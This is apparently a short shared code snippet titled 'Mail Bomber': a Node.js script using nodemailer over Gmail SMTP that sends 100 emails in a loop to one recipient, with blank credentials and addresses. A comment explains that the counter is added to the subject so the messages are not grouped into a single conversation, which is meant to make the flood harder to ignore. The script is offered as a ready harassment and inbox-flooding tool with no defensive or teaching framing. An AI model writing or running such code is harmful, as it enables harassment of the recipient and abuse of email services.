Mail Bomber

mailer.js

var nodemailer = require("nodemailer");
for (var i= 1; i<=100; i++) {
// create reusable transport method 
//(opens pool of SMTP connections)
 var smtpTransport = 
nodemailer.createTransport("SMTP",{
    service: "Gmail",
    auth: {
        user: "",
        pass: ""
    }
});
// setup e-mail data with unicode symbols
 var mailOptions = {
    from: "", // sendaddress
    to: "",
    subject: "Some Random Subject ! "+i+" !", //Append 'i' to it so that mails are not grouped into a single conversation 
    text: "Hello world ✔", // plaintext body
    html: "<b>Hello world ✔</b>" 
}
// send mail with defined transport object 
smtpTransport.sendMail(mailOptions, 
function(error, response){
    if(error){
        console.log(error);
    }else{
        console.log(i + " Message sent: " 
+ response.message);
    }
    // if you don't want to use this yuncomment following line
    smtpTransport.close();
});
}

good job)